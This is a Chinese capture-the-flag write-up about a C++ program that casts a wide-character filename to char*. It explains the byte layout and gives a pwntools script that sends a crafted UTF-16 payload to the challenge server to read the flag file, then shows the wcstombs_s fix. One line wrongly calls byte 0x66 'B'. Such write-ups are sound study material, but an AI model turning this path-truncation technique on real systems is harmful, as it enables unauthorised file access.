CPP + WinAPI,看见人都晕了。
程序首先通过 Windows API 初始化控制台环境,获取标准输入输出句柄并设置控制台模式:
// Get the console input and output handles
HANDLE hConsoleInput = GetStdHandle(STD_INPUT_HANDLE);
HANDLE hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE);
if (hConsoleInput == INVALID_HANDLE_VALUE || hConsoleOutput == INVALID_HANDLE_VALUE)
{
// Handle error – we can't get input/output handles.
return 1;
}
DWORD mode;
GetConsoleMode(hConsoleInput, &mode);
SetConsoleMode(hConsoleInput, mode | ENABLE_PROCESSED_INPUT);接着使用 ReadFile 函数从控制台读取用户输入,存入 256 字节的缓冲区 inputBuffer,并移除末尾的换行符:
// Read the console input (wide characters)
if (!ReadFile(hConsoleInput, inputBuffer, sizeof(inputBuffer), &charsRead, nullptr))
{
// Handle read error
return 2;
}
// Remove the newline character at the end of the input
if (charsRead > 0 && inputBuffer[charsRead - 1] == L'\n')
{
inputBuffer[charsRead - 1] = L'\0'; // Null-terminate the string
charsRead--;
}为了处理不同语言的字符,程序将用户输入的 UTF-8 编码内容转换为宽字符。这个转换过程会保留输入中的所有字节,包括 NULL 字节:
// Convert to WIDE chars
wchar_t buf[256] = { 0 };
MultiByteToWideChar(CP_UTF8, 0, inputBuffer, -1, buf, sizeof(buf) / sizeof(wchar_t));然后程序把转换后的内容存入 wstring 对象,并自信地在后面加上 you_cant_get_the_flag,试图阻止直接访问目标文件:
std::wstring filename = buf;
// Haha!
filename += L"you_cant_get_the_flag";然而在打开文件时存在一个类型转换错误,直接将 wchar_t* 强制转换为了 char*:
std::wifstream file;
file.open((char*)filename.c_str());最后,如果文件成功打开,程序会读取第一行内容作为 Flag 并输出:
if (file.is_open() == false)
{
std::wcout << L"Failed to open the file!" << std::endl;
return 3;
}
std::wstring flag;
std::getline(file, flag);
std::wcout << L"The flag is: " << flag << L". Congratulations!" << std::endl;在 Windows 系统中,wchar_t 使用 UTF-16 编码,这意味着每个字符用 2 个字节表示。比如字符 A 在 UTF-16 中表示为 0x0041。
Windows 默认使用小端序(Little Endian),所以在这道题中字符 A 在内存中实际是 41 00。
程序的核心漏洞在于对字符串的类型转换,当程序执行:
(char*)filename.c_str()宽字符字符串 wchar_t* 被强制转换为普通字符串 char*,原本的 UTF-16 字节被直接解释为连续的字节序列。
举个例子,如果我们输入 flag:
程序会将其转换为 UTF-16 编码的字节串:
echo -n "flag" | iconv -f ascii -t utf-16le | hexyl -g 2
┌────────┬─────────────────────┬─────────────────────┬────────┬────────┐
│00000000│ 6600 6c00 6100 6700 ┊ │f⋄l⋄a⋄g⋄┊ │
└────────┴─────────────────────┴─────────────────────┴────────┴────────┘
然后追加 you_cant_get_the_flag:
echo -n "flagyou_cant_get_the_flag" | iconv -f ascii -t utf-16le | hexyl -g 2
┌────────┬─────────────────────┬─────────────────────┬────────┬────────┐
│00000000│ 6600 6c00 6100 6700 ┊ 7900 6f00 7500 5f00 │f⋄l⋄a⋄g⋄┊y⋄o⋄u⋄_⋄│
│00000010│ 6300 6100 6e00 7400 ┊ 5f00 6700 6500 7400 │c⋄a⋄n⋄t⋄┊_⋄g⋄e⋄t⋄│
│00000020│ 5f00 7400 6800 6500 ┊ 5f00 6600 6c00 6100 │_⋄t⋄h⋄e⋄┊_⋄f⋄l⋄a⋄│
│00000030│ 6700 ┊ │g⋄ ┊ │
└────────┴─────────────────────┴─────────────────────┴────────┴────────┘
当这个字符串被强制转换为 char* 时,程序会从这个内存地址开始,按照 C 风格字符串的规则读取字节序列:
66 00 6C 00 61 00 67 00 ...
^
遇到 00 时字符串结束
即文件名为 B(ASCII 编码为 66)。
所以如果我们精心构造一个字符串,让它在 UTF-16 编码下的字节序列满足:当被强制转换为 char* 时,这些字节正好表示 Z:\\theflag,并且紧跟一个 NULL 字节。
假设我们需要构造路径 Z:\\theflag,它的字节序列(包括 NULL)是:
echo -ne "Z:\\\\theflag\x00" | hexyl
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
│00000000│ 5a 3a 5c 74 68 65 66 6c ┊ 61 67 00 │Z:\thefl┊ag⋄ │
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘
我们需要找到一个字符串,它的 UTF-16LE 编码恰好是这个序列,即每两个字节组成一个 UTF-16 字符:
echo -ne "Z:\\\\theflag\x00" | hexyl -g 2
┌────────┬─────────────────────┬─────────────────────┬────────┬────────┐
│00000000│ 5a3a 5c74 6865 666c ┊ 6167 00 │Z:\thefl┊ag⋄ │
└────────┴─────────────────────┴─────────────────────┴────────┴────────┘
这个过程在 Python 中很好实现:
payload = b"Z:\\\\theflag\x00".decode("utf-16-le").encode()from pwn import *
context.log_level = "debug"
token = "<your_token>"
io = remote("202.38.93.141", 14202)
io.sendlineafter(b"token", token.encode())
payload = b"Z:\\\\theflag\x00".decode("utf-16-le").encode()
io.sendlineafter(b"to it:", payload)
io.interactive()如果想要正确处理 wchar_t* 字符串转换为 char* 的情景,正确且安全的方式是使用 wcstombs_s 函数。
例如:
size_t convertedChars = 0;
size_t sizeInBytes = ((filename.length() + 1) * 2);
std::vector<char> converted(sizeInBytes);
errno_t err = wcstombs_s(
&convertedChars,
converted.data(),
sizeInBytes,
filename.c_str(),
sizeInBytes
);参考: